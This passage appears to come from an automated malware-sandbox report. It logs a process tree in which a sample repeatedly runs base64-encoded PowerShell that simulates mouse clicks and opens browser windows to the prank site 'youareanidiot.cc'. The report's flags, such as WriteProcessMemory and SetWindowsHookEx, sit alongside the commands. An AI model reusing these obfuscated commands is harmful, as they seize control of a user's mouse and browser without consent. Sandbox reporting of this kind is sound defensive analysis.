QAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5112
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1208
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4104
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1940 -prefsLen 27098 -prefMapHandle 1944 -prefMapSize 270279 -ipcHandle 2028 -initialChannelId {d1563d8c-32ba-4580-8e00-46d15656ed62} -parentPid 4104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4104" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        6⤵
        
        PID:4824
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2432 -prefsLen 27134 -prefMapHandle 2436 -prefMapSize 270279 -ipcHandle 2444 -initialChannelId {105db454-d5a6-4369-9a4f-1c12b72a15f4} -parentPid 4104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        6⤵
        
        PID:5960
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3884 -prefsLen 25213 -prefMapHandle 3888 -prefMapSize 270279 -jsInitHandle 3892 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3896 -initialChannelId {c122c40f-281c-48c0-b936-8739413dfc1e} -parentPid 4104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        6⤵
        Checks processor information in registry
        
        PID:3616
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4056 -prefsLen 27323 -prefMapHandle 4060 -prefMapSize 270279 -ipcHandle 4068 -initialChannelId {2bfb4e27-0c6c-4dd0-9fc5-21122268f7a3} -parentPid 4104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4104" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        6⤵
        
        PID:2720
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4420 -prefsLen 34822 -prefMapHandle 4424 -prefMapSize 270279 -jsInitHandle 4428 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4436 -initialChannelId {7d128196-f7ea-460c-b3a2-f1c80b4a755f} -parentPid 4104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        6⤵
        Checks processor information in registry
        
        PID:6416
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5288 -prefsLen 35010 -prefMapHandle 2856 -prefMapSize 270279 -ipcHandle 3372 -initialChannelId {b5c24406-13e8-487f-b5c9-1e3cb23fe0f6} -parentPid 4104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        6⤵
        Checks processor information in registry
        
        PID:7704
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5400 -prefsLen 32900 -prefMapHandle 5404 -prefMapSize 270279 -jsInitHandle 5408 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5412 -initialChannelId {e3bc2df9-8a59-4c75-afc3-96507e8fa147} -parentPid 4104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        6⤵
        Checks processor information in registry
        
        PID:7792
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5448 -prefsLen 32900 -prefMapHandle 5452 -prefMapSize 270279 -jsInitHandle 5456 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5464 -initialChannelId {69295d59-6fbe-4aa2-a6cf-ab851525e1cc} -parentPid 4104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        6⤵
        Checks processor information in registry
        
        PID:7916
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5892 -prefsLen 32900 -prefMapHandle 5896 -prefMapSize 270279 -jsInitHandle 5900 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5908 -initialChannelId {9e8d01f4-baea-4c7e-8a74-51e5fb30e053} -parentPid 4104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        6⤵
        Checks processor information in registry
        
        PID:7924
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6204 -prefsLen 32952 -prefMapHandle 6208 -prefMapSize 270279 -jsInitHandle 6212 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6256 -initialChannelId {f66e6503-3ce1-47c1-a75a-4c005c7bb567} -parentPid 4104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
        6⤵
        Checks processor information in registry
        
        PID:6244
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 1 -prefsHandle 4808 -prefsLen 35062 -prefMapHandle 6440 -prefMapSize 270279 -ipcHandle 6364 -initialChannelId {ba81ab62-058b-4225-8056-b342968ccadd} -parentPid 4104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 utility
        6⤵
        Checks processor information in registry
        
        PID:7188
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6632 -prefsLen 32952 -prefMapHandle 6636 -prefMapSize 270279 -jsInitHandle 6640 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6648 -initialChannelId {bc63e2ed-5c88-4789-965b-f78aaaefe0a4} -parentPid 4104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        6⤵
        
        PID:7528
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6860 -prefsLen 32952 -prefMapHandle 4400 -prefMapSize 270279 -jsInitHandle 4404 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2876 -initialChannelId {37b6bf1f-6f32-460d-a90f-2b9901f6e5dd} -parentPid 4104 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4104" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 tab
        6⤵
        
        PID:7160
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1748
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4332
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1244
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6684
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffe701ac728,0x7ffe701ac734,0x7ffe701ac740
        5⤵
        
        PID:6752
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6984
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7120
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:7148
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7136
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgA